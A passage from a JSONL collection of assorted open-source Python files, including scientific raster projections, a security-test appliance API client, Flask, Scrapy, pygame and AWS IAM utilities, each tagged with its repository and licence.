sentiment_preds\n\n def get_sentiment_clue(self, inputs: Dict) -> np.ndarray:\n feed_dict = {\n self.char_ids: inputs.get('char_ids'),\n self.word_ids: inputs.get('word_ids'),\n self.sequence_length: inputs.get('sequence_length'),\n self.y_target: inputs.get('y_target'),\n self.y_sentiment: inputs.get('y_sentiment'),\n self.training: False\n }\n sentiment_clue = self.sess.run(self.sentiment_clue,\n feed_dict=feed_dict)\n return sentiment_clue\n", "source": "ruofanhu/Tweet-FD", "license": "MIT"}
+{"text": "#!/usr/bin/env python\n\nimport argparse\nimport math\nimport time\n\nimport fiona\nimport multiprocessing\nfrom rasterio.plot import show\nimport math\nimport os\n\nimport click\n#import matlibplot.pyplot as plt\nimport numpy as np\nimport numpy.ma as ma\nimport rasterio\nfrom rasterio.plot import show, show_hist\n\nfrom projections.rasterset import RasterSet, Raster\nfrom projections.simpleexpr import SimpleExpr\nimport projections.predicts as predicts\nimport projections.r2py.modelr as modelr\nimport projections.utils as utils\n\nRD_DIST_MIN = 0\nRD_DIST_MAX = 195274.3\nHPD_MIN = 0\nHPD_MAX = 22490\n\nparser = argparse.ArgumentParser(description=\"ab.py -- abundance projections\")\nparser.add_argument('--mainland', '-m', dest='mainland', default=False,\n action='store_true',\n help='Project using mainland coefficients '\n '(default: islands)')\nparser.add_argument('--clip', '-c', dest='clip', default=False,\n action='store_true',\n help='Clip predictor variables to max value seen '\n 'during model fitting')\nargs = parser.parse_args()\n\nif args.mainland:\n ISLMAIN = 1\n mask_file = os.path.join(utils.data_root(),\n '1km/mainland-from-igor-edited-at.tif')\nelse:\n ISLMAIN = 0\n mask_file = os.path.join(utils.data_root(),\n '1km/islands-from-igor-edited-at.tif')\n\n# Open the mask raster file (Mainlands)\nmask_ds = rasterio.open(mask_file)\n\n# Read Katia's abundance model\nmod = modelr.load('/home/vagrant/katia/models/best_model_abund.rds')\npredicts.predictify(mod)\n\n# Import standard PREDICTS rasters\nrasters = predicts.rasterset('1km', 'medium', year = 2005)\n\n# create an ISL_MAINL raster\n# set it to Mainlands this time round (set Mainlands to 1 and Islands to 0)\nrasters['ISL_MAINLMAINLAND'] = SimpleExpr('ISL_MAINLMAINLAND', ISLMAIN)\n\n# specify the plantation forest maps as 0\n# not sure why it's plantations_pri rather than plantation, but hey ho\nrasters['plantation_pri'] = SimpleExpr('plantation_pri', 0)\nrasters['plantation_pri_minimal'] = SimpleExpr('plantation_pri_minimal', 0)\nrasters['plantation_pri_light'] = SimpleExpr('plantation_pri_light', 0)\nrasters['plantation_pri_intense'] = SimpleExpr('plantation_pri_intense', 0)\n\n## If CLIP is true, limit the predictor variable values to the max seen\n## when fitting the model\nif args.clip:\n rasters['clip_hpd'] = SimpleExpr('clip_hpd',\n 'clip(hpd_ref, %f, %f)' %(HPD_MIN, HPD_MAX))\nelse:\n rasters['clip_hpd'] = SimpleExpr('clip_hpd', 'hpd_ref')\n###log values and then rescale them 0 to 1\n# we need to check whether the logHPD.rs automatically produced uses the\n# same values we use if not, manually create logHPD.rs\nrasters['logHPD_rs'] = SimpleExpr('logHPD_rs',\n 'scale(log(clip_hpd + 1), 0.0, 1.0, 0.0, 10.02087)')\n\n## I'm setting up min and max log values to rescale\n\n# Same is true for logDistRd_rs\nrasters['DistRd'] = Raster('DistRd', os.path.join(utils.data_root(), '1km/rddistwgs.tif')) ###Use new raster\n## If args.clip is true, limit the predictor variable values to the max seen\n## when fitting the model\nif args.clip:\n rasters['clipDistRd'] = SimpleExpr('clipDistRd',\n 'clip(DistRd, %f, %f)' %(RD_DIST_MIN,\n RD_DIST_MAX))\nelse:\n rasters['clipDistRd'] = SimpleExpr('clipDistRd', 'DistRd')\nrasters['logDistRd_rs'] = SimpleExpr('logDistRd_rs',\n 'scale(log(clipDistRd + 100),'\n '0.0, 1.0, -1.120966, 12.18216)')\n###Added +100 to DistRd to deal with zero values\n\n# set up the rasterset, cropping to mainlands\nrs = RasterSet(rasters, mask = mask_ds, maskval=0, crop = True)\n# if you're projecting the whole world, use this code instead\n# rs = RasterSet(rasters)\n\n# evaluate the model\n# model is square root abundance so square it\n\n# Note that the intercept value has been calculated for the baseline\n# land use when all other variables are held at 0\n\n# Therefore I calculate separatedly an intercept where DistRd is set to\n# the max value, i.e. logDistRd_RS = 1.\nintercept = mod.partial({'ISL_MAINLMAINLAND': ISLMAIN,\n 'logDistRd_rs': 1.0})\nprint(\"intercept: %.5f\" % intercept)\nif args.mainland:\n assert math.isclose(intercept, 0.67184, rel_tol=0.001)\nelse:\n ## FIXME: Replace RHS with the R calculated value\n assert math.isclose(intercept, 0.7270164, rel_tol=0.001)\n\nrs[mod.output] = mod\nrs['output'] = SimpleExpr('output', '(pow(%s, 2) / pow(%f, 2))' % (mod.output, intercept))\n\nfname = 'ab-%s.tif' % ('mainland' if args.mainland else 'islands')\npath = ('katia', 'clip' if args.clip else 'no-clip', fname)\nrs.write('output', utils.outfn(*path))\n", "source": "ricardog/raster-project", "license": "Apache-2.0"}
+{"text": "import random\nfrom datetime import datetime\nimport factory\nfrom tests.factories import faker\nfrom faker import Factory\nfrom config.db import db\nfrom federation_api.people.model import Person\n\n\nclass PersonFactory(factory.alchemy.SQLAlchemyModelFactory):\n class Meta:\n model = Person\n sqlalchemy_session = db.session\n\n email = factory.LazyAttribute(lambda x: faker.email())\n phone = factory.LazyAttribute(lambda x: faker.phone_number())\n account_id = factory.LazyAttribute(lambda x: random.randint(1000, 9999))\n name = factory.LazyAttribute(lambda x: faker.name())\n", "source": "practo/federation", "license": "MIT"}
+{"text": "from requests.packages.urllib3.exceptions import InsecureRequestWarning\nimport requests\nimport json\nimport pickle\nimport logging\nrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)\n\n\nclass CfClient:\n\n def __init__(self, userName, userPassword, controllerAddress):\n self.userName = userName\n self.userPassword = userPassword\n self.controllerAddress = \"https://\" + controllerAddress + \"/api/v2\"\n self.__bearerToken = \"\"\n self.__isLogged = False\n self.__session = requests.session()\n self.__session.verify = False\n\n # logging.basicConfig()\n # logging.getLogger().setLevel(logging.DEBUG)\n ## requests_log = logging.getLogger(\"requests.packages.urllib3\")\n # requests_log.setLevel(logging.DEBUG)\n ## requests_log.propagate = True\n\n def generateToken(self):\n response = self.__session.post(self.controllerAddress + '/token',\n data={'email': self.userName,\n 'password': self.userPassword})\n if response.status_code == 201:\n self.__bearerToken = json.loads(response.text)['token']\n self.__session.headers.update(\n {'Authorization': 'Bearer {0}'.format(self.__bearerToken)})\n self.__isLogged = True\n return self.__bearerToken\n\n def invalidateToken(self):\n return self.__session.delete(\n self.controllerAddress + '/token'\n )\n\n def isLogged(self):\n return self.__isLogged\n\n def getFile(self, fileId):\n return self.__session.get(\n self.controllerAddress + '/files/' + fileId\n )\n\n def downloadFile(self, fileId):\n return self.__session.get(\n self.controllerAddress + '/files/' + fileId + '/download'\n )\n\n def getFiles(self):\n return self.__session.get(\n self.controllerAddress + '/files'\n )\n\n def uploadFileMultipart(self, filePath):\n files = {'file': open(filePath, \"rb\")}\n response = self.__session.post(\n self.controllerAddress + '/files?type=multipart',\n files=files\n )\n return response\n\n def deleteFile(self, fileId):\n return self.__session.delete(\n self.controllerAddress + '/files' + fileId\n )\n\n def listAttackProfiles(self):\n return self.__session.get(\n self.controllerAddress + '/profiles/attacks'\n )\n\n def createAttackProfile(self, name, description, scenarioIds):\n response = self.__session.post(\n self.controllerAddress + '/profiles/attacks',\n json={\n 'name': name,\n 'description': description,\n 'scenarios': scenarioIds,\n 'scenarioTypes': ['attack']\n }\n )\n return response\n\n def createApplicationProfile(self, name, description, scenarioIds):\n response = self.__session.post(\n self.controllerAddress + '/profiles/apps',\n json={\n 'name': name,\n 'description': description,\n 'category': 'Miscellaneous',\n 'scenarios': scenarioIds,\n 'scenarioTypes': ['app']\n }\n )\n return response\n\n def createMalwareProfile(self, name, description, scenarioIds):\n response = self.__session.post(\n self.controllerAddress + '/profiles/malware',\n json={\n 'name': name,\n 'description': description,\n 'scenarios': scenarioIds,\n 'scenarioTypes': ['malware'],\n 'contentType': 'malware'\n }\n )\n return response\n\n def listMalwareProfiles(self):\n return self.__session.get(\n self.controllerAddress + '/profiles/malware'\n )\n\n def listApplicationProfiles(self):\n return self.__session.get(\n self.controllerAddress + '/profiles/apps'\n )\n\n def createAttackScenario(self, fileId, name, description):\n response = self.__session.post(\n self.controllerAddress + '/scenarios/attacks',\n json={\n 'fileId': fileId,\n 'name': name,\n 'description': description\n }\n )\n return response\n\n def createApplicationScenario(self, fileId, name, description):\n response = self.__session.post(\n self.controllerAddress + '/scenarios/apps',\n json={'fileId': fileId,\n 'name': name,\n 'description': description,\n 'category': 'Miscellaneous'\n }\n )\n return response\n\n def createMalwareScenario(self, fileId, name, description):\n response = self.__session.post(\n self.controllerAddress + '/scenarios/malware',\n json={'fileId': fileId,\n 'name': name,\n 'description': description,\n 'category': 'Miscellaneous'\n }\n )\n return response\n\n def getAttackProfile(self, profileId):\n return self.__session.get(\n self.controllerAddress + \"/profiles/attacks/\" + profileId\n )\n\n def getCyberSecurityAssessmentTest(self, csaTestId):\n return self.__session.get(\n self.controllerAddress + \"/tests/cyber_security_assessment/\" + csaTestId\n )\n\n def getHttpThroughputTest(self, testId):\n return self.__session.get(\n self.controllerAddress + \"//tests/http_throughput/\" + testId\n )\n\n def updateCyberSecurityAssessmentTest(self, csaTest, csaTestId):\n return self.__session.put(\n self.controllerAddress +\n \"/tests/cyber_security_assessment/\" + csaTestId,\n json=csaTest\n )\n\n def startTest(self, testId):\n return self.__session.put(\n self.controllerAddress + \"/tests/\" + testId + \"/start\"\n )\n\n def getTestRun(self, testRunId):\n return self.__session.get(\n self.controllerAddress + \"/test_runs/\" + testRunId\n )\n\n def fetchTestRunTimelineStatistics(self, testRunId):\n return self.__session.get(\n self.controllerAddress + \"/test_runs/\" + testRunId + \"/timeline\"\n )\n", "source": "acastaner/cf-py-cfclient", "license": "MIT"}
+{"text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport json\nimport unittest\n\nfrom qqbot.core.util.json_util import JsonUtil\n\n\nclass JsonUtilTestCase(unittest.TestCase):\n def test_json2obj(self):\n class Score:\n def __init__(self):\n self.chinese = \"\"\n self.math = \"\"\n\n class Book:\n def __init__(self):\n self.type = \"\"\n self.name = \"\"\n\n class Student:\n def __init__(self, data=None):\n self.books = [Book()]\n self.score = Score()\n self.name = \"\"\n self.id = \"\"\n if data:\n self.__dict__ = data\n\n json_str = (\n '{\"id\":\"123\", \"score\":{\"math\":100, \"chinese\":98}, '\n '\"books\":[{\"name\":\"math\", \"type\":\"study\"}, '\n '{\"name\":\"The Little Prince\", \"type\":\"literature\"}]} '\n )\n # student = Student()\n # JsonUtil.json_str2obj(json_data, student)\n test: Student = json.loads(json_str, object_hook=Student)\n print(isinstance(test, Student))\n print(test.__dict__)\n self.assertEqual(\"123\", test.id) # add assertion here\n self.assertEqual(\"math\", test.books[0].name) # add assertion here\n\n def test_obj2json(self):\n class Person:\n def __init__(self, data=None):\n self.name = \"\"\n self.surname = \"\"\n if data:\n self.__dict__ = data\n\n person = Person()\n person.name = \"Hello\"\n person.surname = \"World\"\n json_str = JsonUtil.obj2json_str(person)\n\n person2 = json.loads(json_str, object_hook=Person)\n self.assertEqual(\"Hello\", person2.name) # add assertion\n\n\nif __name__ == \"__main__\":\n unittest.main()\n", "source": "SuperKuroko/botpy", "license": "MIT"}
+{"text": "#! /usr/bin/env python3\nimport wikipedia\nfrom tkinter import *\nfrom tkinter.messagebox import showinfo\n\ngui = Tk() #objek\ngui.title('WIKIPEDIA SEARCH')\ngui.geometry('200x70') #function\n\n#function\ndef wiki() :\n search = entry.get()\n Hasil = wikipedia.summary(search)\n showinfo(search,Hasil)\n\nlabel = Label(gui,text=\"Wikipedia Search :\")\nlabel.grid(row=0,column=0)\n\nentry = Entry(gui)\nentry.grid(row=1,column=0)\n\nbutton = Button(gui,text=\"Search\",command=wiki)\nbutton.grid(row=1,column=1,padx=10)\n\ngui.mainloop()\n\n \n\n", "source": "newtoallofthis123/python-dev-bin", "license": "MIT"}
+{"text": "import pygame, sys\npygame.init()\nscreen = pygame.display.set_mode([640,480])\nscreen.fill([255, 255, 255])\n\nclass Ball(pygame.sprite.Sprite):\n def __init__(self, image, location, speed):\n pygame.sprite.Sprite.__init__(self)\n self.image = pygame.image.load(image)\n self.rect = self.image.get_rect()\n self.rect.left, self.rect.top = location\n self.speed = speed\n \n def move(self):\n self.rect = self.rect.move(self.speed)\n if self.rect.left < 0 or self.rect.right > 640:\n self.speed[0] = -self.speed[0]\n if self.rect.top < 0 or self.rect.bottom > 480:\n self.speed[1] = -self.speed[1]\n \nimg_file = \"wackyball.bmp\"\n\n\nball = Ball(img_file, [200, 200], [3, 3])\n# Adds each ball to the list as it\u2019s created\nrunning = True\nwhile running:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n running = False\n pygame.time.delay(20)\n # Redraws the screen\n screen.fill([255, 255, 255])\n ball.move()\n screen.blit(ball.image, ball.rect)\n pygame.display.flip()\npygame.quit()\n", "source": "3dimaging/FLL2021", "license": "Apache-2.0"}
+{"text": "import os\n\nprint('Hello World!')\n\nprint('I just entered the branch \\'develop\\'')\n\nx = 1\n\nif -1 != x:\n print('Neni rovno!!!')\n\nprint('Nachazim se v novem developu, ten stary uz jsem smazal!')\n\nprint('Neco jsem dodelat, ale jeste nepridal')\n\nfolder = 'C:/Users/Vojta/Documents/git/repo-try-out'\nfiles_dirs = os.listdir(folder)\nprint(files_dirs)\n\nfor file_dir in range(len(files_dirs)):\n if not os.path.isdir(os.path.join(folder, str(file_dir))):\n print('Je to file!')\n else:\n print('Neni to file, je to folder!')", "source": "VojtaKai/repo-try-out", "license": "MIT"}
+{"text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue May 19 21:42:34 2020\n\n@author: lukepinkel\n\"\"\"\n\nLBFGSB_options = dict(disp=10, maxfun=5000, maxiter=5000, gtol=1e-8)\nSLSQP_options = dict(disp=True, maxiter=1000)\nTrustConstr_options = dict(verbose=3, gtol=1e-5)\nTrustNewton_options = dict(gtol=1e-5)\nTrustConstr2_options = dict(verbose=0, gtol=1e-6)\ndefault_opts = {'L-BFGS-B':LBFGSB_options, \n 'l-bfgs-b':LBFGSB_options,\n 'lbfgsb':LBFGSB_options,\n 'LBFGSB':LBFGSB_options,\n 'SLSQP':SLSQP_options,\n 'slsqp':SLSQP_options,\n 'trust-constr':TrustConstr_options,\n 'trust-ncg':TrustNewton_options}\n\ndef process_optimizer_kwargs(optimizer_kwargs, default_method='trust-constr'):\n keys = optimizer_kwargs.keys()\n \n if 'method' not in keys:\n optimizer_kwargs['method'] = default_method\n \n if 'options' not in keys:\n optimizer_kwargs['options'] = default_opts[optimizer_kwargs['method']]\n else:\n options_keys = optimizer_kwargs['options'].keys()\n for dfkey, dfval in default_opts[optimizer_kwargs['method']].items():\n if dfkey not in options_keys:\n optimizer_kwargs['options'][dfkey] = dfval\n return optimizer_kwargs\n \n \n \n \n \n \n ", "source": "lukepinkel/pylmm", "license": "MIT"}
+{"text": "import datetime\nimport json\nimport os\nimport time\n\nimport requests\nfrom flask import render_template, redirect, request, session\n\nfrom app import app\nimport CardReader\n\nCONNECTED_NODE_ADDRESS = \"http://169.254.62.57:8000\"\n\nposts = []\npk = None\n\ndef fetch_posts(isFiltered=True):\n get_chain_address = \"{}/chain\".format(CONNECTED_NODE_ADDRESS)\n response = requests.get(get_chain_address)\n if response.status_code == 200:\n content = []\n chain = json.loads(response.content)\n for block in chain[\"chain\"]:\n for tx in block[\"transactions\"]:\n ty = {}\n ty[\"index\"] = block[\"index\"]\n ty[\"hash\"] = block[\"previous_hash\"]\n ty[\"timestamp\"] = tx[\"timestamp\"]\n #print(tx)\n new_tx_address = \"{}/api/profile\".format(CONNECTED_NODE_ADDRESS)\n p1,status1 = requests.post(new_tx_address, headers={'Content-type': 'application/json'}, json={'pubkey': tx['publicOne']}).json()\n p2,status2 = requests.post(new_tx_address, headers={'Content-type': 'application/json'}, json={'pubkey': tx['publicTwo']}).json()\n #print(status1,status2)\n if status1 == 200 and status2 == 200:\n p = p1['person']\n\n ty['one'] = { \"publicKey\":tx['publicOne'],\n \"lastname\": p['lastname'],\n \"firstname\": p['firstname'],\n \"email\": p['email'],\n \"phonenr\": p['phonenr'],\n \"date_created\": p['date_created']\n }\n p = p2['person']\n ty['two'] = {\"publicKey\": tx['publicTwo'],\n \"lastname\": p['lastname'],\n \"firstname\": p['firstname'],\n \"email\": p['email'],\n \"phonenr\": p['phonenr'],\n \"date_created\": p['date_created']\n }\n #print(ty)\n content.append(ty)\n\n global posts\n\n if isFiltered:\n #print(_posts)\n #print(_posts[0]['one']['publicKey'])\n #posts = list(filter(lambda k: k['one']['publicKey'] == pk, _posts))\n #lambda k: print(k['one']['publicKey']), _posts\n _posts = []\n if pk is not None and pk != '':\n for k in content:\n if k['one']['publicKey'] == pk.hex():\n _posts.append(k)\n else:\n # Return error\n pass\n else:\n _posts = content\n posts = sorted(_posts, key=lambda k: k['timestamp'],\n reverse=True)\n\n@app.route('/display')\ndef index():\n new_tx_address = \"{}/\".format(CONNECTED_NODE_ADDRESS)\n return requests.get(new_tx_address).text\n\n\n@app.route('/register')\ndef register():\n new_tx_address = \"{}/register\".format(CONNECTED_NODE_ADDRESS)\n return requests.get(new_tx_address).text\n\n@app.route('/login')\ndef login():\n new_tx_address = \"{}/login\".format(CONNECTED_NODE_ADDRESS)\n return requests.get(new_tx_address).text\n\n@app.route('/me', methods=['GET', 'POST'])\ndef submit_login():\n global pk\n new_tx_address = \"{}/login\".format(CONNECTED_NODE_ADDRESS)\n if pk:\n req = requests.post(new_tx_address, headers={'Content-type': 'application/json'}, json={'pubkey': pk.hex()})\n return req.text\n\n reader = CardReader.initReading()\n if reader:\n pubkey = CardReader.read_public_key(reader, 1)\n\n if CardReader.auth(reader, pubkey):\n req = requests.post(new_tx_address,headers={'Content-type': 'application/json'},json={'pubkey': pubkey.hex()})\n pk = pubkey\n return req.text\n else:\n return \"PubKey not found.\"\n else:\n return \"No Card found!\"\n\n@app.route('/register', methods=['POST'])\ndef submit_register():\n new_tx_address = \"{}/register\".format(CONNECTED_NODE_ADDRESS)\n reader = CardReader.initReading()\n if reader is None:\n return \"No reader connected!\"\n if not CardReader.initCard(reader):\n return \"Card not writeable or a user is already registered with this card!\"\n\n pubkey = CardReader.read_public_key(reader, 1)\n\n if pubkey is None:\n return \"No pubkey!\"\n else:\n global pk\n pk = pubkey\n firstname = request.form['firstname']\n lastname = request.form['lastname']\n phonenr = request.form['phonenr']\n email = request.form['email']\n return requests.post(new_tx_address,headers={'Content-type': 'application/json'},json={'pubkey': pubkey.hex(), 'firstname': firstname, 'lastname': lastname, 'email': email, 'phonenr': phonenr}).text\n\n@app.route('/')\ndef display():\n filter = request.args.get('filter')\n if not filter or filter == 'True':\n filter = True\n else:\n filter = False\n\n fetch_posts(filter)\n return render_template('index.html',\n title='ChainMeUp',\n posts=posts,\n filter=filter,\n node_address=CONNECTED_NODE_ADDRESS,\n readable_time=timestamp_to_string)\n\n\n@app.route('/submit', methods=['POST'])\ndef submit_textarea():\n new_tx_address = \"{}/new_transaction\".format(CONNECTED_NODE_ADDRESS)\n\n reader = CardReader.initReading()\n if reader:\n global pk\n publicOne = pk\n publicTwo = CardReader.read_public_key(reader, 1)\n if publicOne is not None and publicTwo is not None:\n if publicOne != publicTwo:\n\n json_object = {'publicOne': publicOne.hex(),\n 'publicTwo': publicTwo.hex(),\n 'timestamp': time.time()}\n\n hash, sign = CardReader.generateSignature(reader, json_object)\n\n if CardReader.verifyPub(reader, publicTwo, hash, sign):\n requests.post(new_tx_address,\n headers={'Content-type': 'application/json'},\n json=json_object)\n\n return redirect('/me')\n\n@app.route('/logout')\ndef logout():\n global pk\n pk = None\n return redirect('/')\n\ndef timestamp_to_string(epoch_time):\n return datetime.datetime.fromtimestamp(epoch_time).strftime('%H:%M')\n\n@app.route('/graph/graphFile.json')\ndef get_graph():\n nodes = []\n links = []\n #meName = posts[0]['one']['lastname'] + \" \" + posts[0]['one']['firstname']\n #nodes.append({\n # \"name\": meName,\n # \"group\": posts[0]['one']['publicKey']\n #})\n i = 0\n for post in posts:\n otherName = post['two']['lastname'] + \" \" + post['two']['firstname']\n\n nodes.append({\n \"name\": otherName,\n \"group\": posts[0]['two']['publicKey']\n })\n print(nodes)\n\n links.append({\n \"source\": i,\n \"target\": 0,\n \"weight\": 2\n })\n\n i+=1;\n\n r = {\"nodes\": nodes, \"links\": links}\n\n print(r)\n\n return (r)\n", "source": "schettn/ChainMeUp", "license": "MIT"}
+{"text": "# -*- coding: utf-8 -*-\nimport os\nimport sys\n\n# \u672c\u914d\u7f6e\u6587\u4ef6\u5730\u5740\nSCRAPY_SETTINGS_PATH = os.path.realpath(__file__)\n\n# \u627e\u5230\u76f8\u5bf9\u8def\u5f84\u52a0\u5165sys.path\u4e2d\n# \u672c\u9879\u76eedjango\u8def\u5f84 '.../TechDict/app/tech_dict'\n# scrapy setting\u6587\u4ef6\u8def\u5f84 '.../TechDict/app/spiders/spiders/settings.py'\n# django\u6839\u76ee\u5f55\u5730\u5740\uff0c\u9ed8\u8ba4\u662fsettings\u4e0a\u97623\u7ea7\nDJANGO_PATH_UP_LEVEL = 3\nDJANGO_PROJECT_NAME = 'tech_dict'\n\n# django \u914d\u7f6e\u6587\u4ef6\u5730\u5740\n_p = SCRAPY_SETTINGS_PATH\nfor i in xrange(DJANGO_PATH_UP_LEVEL):\n _p = os.path.split(_p)[0]\n\nDJANGO_PROJECT_PATH = os.path.join(_p, DJANGO_PROJECT_NAME)\nsys.path.insert(0, DJANGO_PROJECT_PATH)\nos.environ['DJANGO_SETTINGS_MODULE'] = DJANGO_PROJECT_NAME + '.settings'\n\n\nBOT_NAME = 'spiders'\n\nSPIDER_MODULES = ['spiders.spiders']\nNEWSPIDER_MODULE = 'spiders.spiders'\n\nDOWNLOADER_MIDDLEWARES = {\n 'spiders.misc.middleware.CustomHttpProxyMiddleware': 400,\n 'spiders.misc.middleware.CustomUserAgentMiddleware': 401,\n 'spiders.misc.middleware.CustomNextPageMiddleware': 402,\n}\n\nITEM_PIPELINES = {\n 'spiders.pipelines.DjangoPipeline': 300,\n}\n\n# \u4e0b\u8f7d\u5668\u8d85\u65f6\u65f6\u95f4(\u5355\u4f4d: \u79d2)\nDOWNLOAD_TIMEOUT = 20\n\n# \u4e0b\u8f7d\u5ef6\u8fdf\n# http://scrapy-chs.readthedocs.org/zh_CN/latest/topics/practices.html\n# \u8bbe\u7f6e\u4e0b\u8f7d\u5ef6\u8fdf(2\u6216\u66f4\u9ad8)\u3002\u53c2\u8003 DOWNLOAD_DELAY \u8bbe\u7f6e\nDOWNLOAD_DELAY = 0.8\n# \u5982\u679c\u542f\u7528\uff0c\u5f53\u4ece\u76f8\u540c\u7684\u7f51\u7ad9\u83b7\u53d6\u6570\u636e\u65f6\uff0cScrapy\u5c06\u4f1a\u7b49\u5f85\u4e00\u4e2a\u968f\u673a\u7684\u503c\n# \u4f7f\u75280.5\u52301.5\u4e4b\u95f4\u7684\u4e00\u4e2a\u968f\u673a\u503c * DOWNLOAD_DELAY \u7684\u7ed3\u679c\u4f5c\u4e3a\u7b49\u5f85\u95f4\u9694\nRANDOMIZE_DOWNLOAD_DELAY = True\n\n# \u81ea\u52a8\u9650\u901f(AutoThrottle)\u6269\u5c55\n# http://scrapy-chs.readthedocs.org/zh_CN/latest/topics/autothrottle.html\nAUTOTHROTTLE_ENABLED = True\n\nLOG_LEVEL = 'INFO'\nLOG_FILE = 'log/paper_edu.log'\n\n# \u7981\u7528cookie\nCOOKIES_ENABLED = False\n", "source": "duoduo369/TechDict", "license": "MIT"}
+{"text": "a1 = 1\na2 = 2\nan = a1 + a2\nsum_ = a2 \n\nprint(a1, ',', a2, end=\", \")\nfor n in range(100):\n an = a1 + a2\n if an > 4000000:\n print('\\n=== DONE ===')\n break\n\n if an % 2 == 0:\n sum_ += an\n print(an, end=\", \")\n\n a1 = a2\n a2 = an\n\nprint(\"Even term sum =\", sum_)", "source": "adadesions/python-founder-class", "license": "MIT"}
+{"text": "# Copyright 2017 Walmart Stores Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\n\"\"\"add cluster_quotas table\n\nRevision ID: 90666bfc10aa\nRevises: 4f65b4f91c39\nCreate Date: 2019-01-18 10:54:25.493550\n\n\"\"\"\n\nfrom alembic import op\nimport sqlalchemy as sa\n\n# revision identifiers, used by Alembic.\nrevision = '90666bfc10aa'\ndown_revision = '4f65b4f91c39'\n\n\ndef upgrade():\n\n op.create_table(\n u'cluster_quotas',\n sa.Column(u'id', sa.String(36), nullable=False),\n sa.Column(u'cluster_total_loadbalancers', sa.Integer(), nullable=True),\n sa.Column(u'max_healthmonitors_per_pool', sa.Integer(), nullable=True),\n sa.Column(u'max_listeners_per_loadbalancer',\n sa.Integer(), nullable=True),\n sa.Column(u'max_members_per_pool', sa.Integer(), nullable=True),\n sa.Column(u'max_pools_per_loadbalancer', sa.Integer(), nullable=True),\n sa.Column(u'max_l7policies_per_listener', sa.Integer(), nullable=True),\n sa.Column(u'max_l7rules_per_l7policy', sa.Integer(), nullable=True),\n sa.PrimaryKeyConstraint(u'id')\n )\n", "source": "BoTranVan/octavia", "license": "Apache-2.0"}
+{"text": "\r\nimport os\r\nimport sys\r\nfrom os import path\r\n\r\ncurrent_dir = path.dirname(path.abspath(__file__))\r\nwhile path.split(current_dir)[-1] != r'Heron':\r\n current_dir = path.dirname(current_dir)\r\nsys.path.insert(0, path.dirname(current_dir))\r\n\r\nfrom Heron import general_utils as gu\r\nExec = os.path.abspath(__file__)\r\n\r\n\r\n# \r\n\r\n\"\"\"\r\nProperties of the generated Node\r\n\"\"\"\r\nBaseName = 'TL Experiment Phase 2'\r\nNodeAttributeNames = ['Parameters', 'Levers Box In', 'Command to Screens', 'Command to Reward Poke']\r\nNodeAttributeType = ['Static', 'Input', 'Output', 'Output']\r\nParameterNames = ['Reward On Poke', 'Reward On Poke Delay / sec', 'Trap On', 'Max Dist to Target', 'Speed deg/sec',\r\n 'Variable Targets', 'Must Lift at Target', '# Pellets']\r\nParameterTypes = ['bool', 'float', 'bool', 'int', 'float', 'bool', 'bool', 'int']\r\nParametersDefaultValues = [False, 0.0, True, 90, 25, False, False, 1]\r\nWorkerDefaultExecutable = os.path.join(os.path.dirname(Exec), 'tl_experiment_phase_2_worker.py')\r\n\r\n# \r\n\r\n\r\n# \r\nif __name__ == \"__main__\":\r\n tl_experiment_phase_2_com = gu.start_the_transform_communications_process(NodeAttributeType, NodeAttributeNames)\r\n gu.register_exit_signals(tl_experiment_phase_2_com.on_kill)\r\n tl_experiment_phase_2_com.start_ioloop()\r\n\r\n# \r\n", "source": "Heron-Repositories/Transfer-Learning-In-Animals", "license": "MIT"}
+{"text": "\n\"\"\"\nThis module will be utilized for using the AWS IAM related tasks of the package\n\"\"\"\n\n\n\nimport boto3\nimport botocore\n\n\nfrom pyawscli.colored import coloredtext\nfrom pyawscli.progressbar import progressbar\n\niam = boto3.client('iam')\n\n\n\n\ndef getusers(show):\n \"\"\"\n This function is used to get the list of all users in IAM\n\n \"\"\"\n try:\n users=iam.list_users()\n except botocore.exceptions.ClientError as e:\n coloredtext(\"There was an error while getting user data: \\n\\n\\n\")\n print(e)\n userlist=[]\n \n for user in users['Users']:\n name=user['UserName']\n if show:\n print(\"> \"+name)\n userlist.append({\"name\":name})\n return userlist\n\ndef getgroups(show):\n \"\"\"\n This function is used to get the list of all Groups in IAM\n\n \"\"\"\n try:\n groups=iam.list_groups()\n except botocore.exceptions.ClientError as e:\n coloredtext(\"There was an error while getting group data: \\n\\n\\n\")\n print(e)\n grouplist=[]\n \n for group in groups['Groups']:\n name=group['GroupName']\n if show:\n print(\"> \"+name)\n grouplist.append({\"name\":name})\n\n return grouplist\n\ndef getaccesskeys(show):\n \"\"\"\n This function is used to get the list of all accesskeys\n\n \"\"\"\n try:\n accesskeys=iam.list_access_keys()\n except botocore.exceptions.ClientError as e:\n coloredtext(\"There was an error while getting access key data: \\n\\n\\n\")\n print(e)\n accesskeylist=[]\n \n for accesskey in accesskeys['AccessKeyMetadata']:\n name=accesskey['UserName']\n accesskeyid=accesskey['AccessKeyId']\n if show:\n print(\"> \"+name)\n accesskeylist.append({\"name\":accesskeyid})\n\n return accesskeylist\n\ndef getroles(show):\n \"\"\"\n This function is used to get the list of all roles in IAM\n\n \"\"\"\n try:\n roles=iam.list_roles()\n except botocore.exceptions.ClientError as e:\n coloredtext(\"There was an error while getting user data: \\n\\n\\n\")\n print(e)\n roleslist=[]\n \n for role in roles['Roles']:\n name=role['RoleName']\n if show:\n print(\"> \"+name)\n roleslist.append({\"name\":name})\n return roleslist\n\n\n############################ DELETE FUNCTIONS ################################\n\n\n\n\n\n\ndef deleteuser(user_choices):\n \"\"\"\n This function is used to delete user by giving/selecting parameters\n \"\"\"\n progressbar(\"Deleting user\")\n username=user_choices['user'][0]\n try:\n iam.delete_user( UserName=str(username))\n print(\"\\n \\n User \" +username +\" has been deleted \\n \\n\")\n except botocore.exceptions.ClientError as e:\n coloredtext(\"There was an error while deleting user: \\n\\n\\n\")\n print(e)\n\ndef deletegroup(group_choices):\n 